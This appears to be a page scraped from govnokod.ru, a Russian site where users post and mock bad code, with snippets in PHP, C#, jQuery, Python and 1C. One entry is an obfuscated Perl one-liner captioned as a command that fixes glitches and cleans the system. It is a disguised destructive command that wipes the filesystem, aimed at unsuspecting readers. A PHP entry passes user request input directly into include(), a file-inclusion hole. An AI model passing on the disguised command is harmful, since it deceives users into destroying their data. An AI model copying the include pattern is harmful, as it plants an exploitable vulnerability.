- 1
- 2
- 3
- 4
- 5
Если Пользователь.Родитель.КонтрольРазмещения = Истина Тогда
Возврат Истина;
Иначе
Возврат Ложь;
КонецЕсли;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−213
Если Пользователь.Родитель.КонтрольРазмещения = Истина Тогда
Возврат Истина;
Иначе
Возврат Ложь;
КонецЕсли;
Лёгких путей не бывает :)
+162.1
<?
/* Для spaw нужно */
$spaw_root = dirname(__FILE__) . "/spaw/";
include $spaw_root . 'spaw_control.class.php';
/* Проверка на существование раздела */
if (count($glb_page->prop))
{
load_lib("pw_mod");
$glb_page->main_out = run_action($glb_page->prop['id_act'],1);
// подключение шаблона
if (isset($_GET['pw_patt'])) $glb_page->prop['templ'] = $_GET['pw_patt'];
if (isset($_POST['pw_patt'])) $glb_page->prop['templ'] = $_POST['pw_patt'];
if (isset($_REQUEST['pw_patt'])) $glb_page->prop['templ'] = $_REQUEST['pw_patt'];
include(pw_Path_templ . $glb_page->prop['templ'] . ".php");
}
else
{
echo "Раздел не найден";
}
?>
+99.4
string date_format = DateTime.Now.ToString("dddd dd") + "th " + DateTime.Now.ToString("MMMM yyyy");
if (DateTime.Now.Day == 1 || DateTime.Now.Day == 21 || DateTime.Now.Day == 31) date_format = DateTime.Now.ToString("dddd dd")+"st "+DateTime.Now.ToString("MMMM yyyy");
else if (DateTime.Now.Day == 2 || DateTime.Now.Day == 22) date_format = DateTime.Now.ToString("dddd dd")+"nd "+DateTime.Now.ToString("MMMM yyyy");
else if (DateTime.Now.Day == 3 || DateTime.Now.Day == 23) date_format = DateTime.Now.ToString("dddd dd")+"rd "+DateTime.Now.ToString("MMMM yyyy");
DateTime formatting - don't try this at home!
−91.4
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Команда спасает от глюков и чистит систему.
+151.2
$('#state_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#state_checkboxes input[type=checkbox]:checked').length == 0) {
$('#state_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
$('#type_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#type_checkboxes input[type=checkbox]:checked').length == 0) {
$('#type_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
$('#own_checkboxes input[type=checkbox]').each(function(i) {
$(this).click(function() {
if (!$(this).attr('checked')) {
if ($('#own_checkboxes input[type=checkbox]:checked').length == 0) {
$('#own_checkboxes input[type=checkbox]').not(this).attr('checked', 'checked');
}
}
});
});
Только что наговнокодил, еще тепленькое.
Суть в следующем: есть несколько пар чекбоксов, в каждой из этих пар обязательно должен быть выделен хотя бы один. Если снимаем выделение со всех чекбоксов в паре, то установиться выделение должно у другого чекбокса.
В данном говнокоде 3 пары чекбоксов, у меня в проекте их будет больше, вот сижу и думаю, как бы это всё покрасивее сделать, а то совсем уже
+144
switch($_GET['act'])
{
default: break;
case 'manageusers':
{
///......
break;
}
default:
{
/// .......
обнаружил щаз в своем коде 2 месячной давности.....
+134.7
si_node_append(&(*config), si_node_create_ex(param_name, param_value, param_flag)); // ...to the end
Смысл операции &(*var) непонятен.
Отдельного внимания заслуживает коментарий... мне удалось воткнуть :) оказывается, имелось в виду не "вперед, до самого конца", а "добавляем в конец списка", ага.
Правда, был круче комент в одном месте... "redirect of conclusion"...
В общем, когда вкурил что имелось в виду "перенаправление вывода", чуть не сдох со смеху :)
+158.2
function compiledTest(ID, rank, memoryLimit, timeLimit, outputLimit, language, address){
this.ID = ID;
this.Rank = rank;
this.MemoryLimit = memoryLimit;
this.TimeLimit = timeLimit;
this.OutputLimit = outputLimit;
this.Language = language;
this.Address = address;
this.TestCases = new Array();
this.getAnswer = function() {
return document.getElementById(this.ID).value;
}
this.getScore = function() {
var res = service(
this.getAnswer(),
new this.allInfo(
this.Rank, this.MemoryLimit, this.TimeLimit, this.OutputLimit, this.Language, this.TestCases
),
this.Address
);
return res;
}
// Смотри здесь ))))))
this.allInfo = function(rank, memoryLimit, timeLimit, outputLimit, language, testCases) {
this.Rank = rank;
this.MemoryLimit = memoryLimit;
this.TimeLimit = timeLimit;
this.OutputLimit = outputLimit;
this.TestCases = testCases;
this.Language = language;
}
var c = arguments.length;
for (var i = 6; i < c; i++) {
this.TestCases.push(arguments[i]);
}
}
Собственноличний говнокод. Буквально на днях писал єтот джаваскрипт. И только теперь заметил УЕБИЩНОЙ КОД. Проект пишется на С#. Джаваскрипта мало, но есть - приходилось писать его двум веб-программистам (также занимались С#) но они уже закончили свою роботу и ушли з проекта. Вот скинули на меня поодержку скриптов ( я js писал давно, но единственний в команде, кто его вообще писал). Написал первое, что пришло в голову для решения задачи.
−427.9
f.write("#ifndef _" + fileouth.replace("/","_").replace(".", "_").upper() + "_\n")
f.write("#define _" + fileouth.replace("/","_").replace(".", "_").upper() + "_\n")
что еще сказать... видно человека не научили что копипастить плохо... и что бывает повторное испольхование кода...
+207.3
$('div').each(function () {
if ($(this).attr('id') == 'blok') {
$(this).html('');
}
});
Хочется взять и уебать…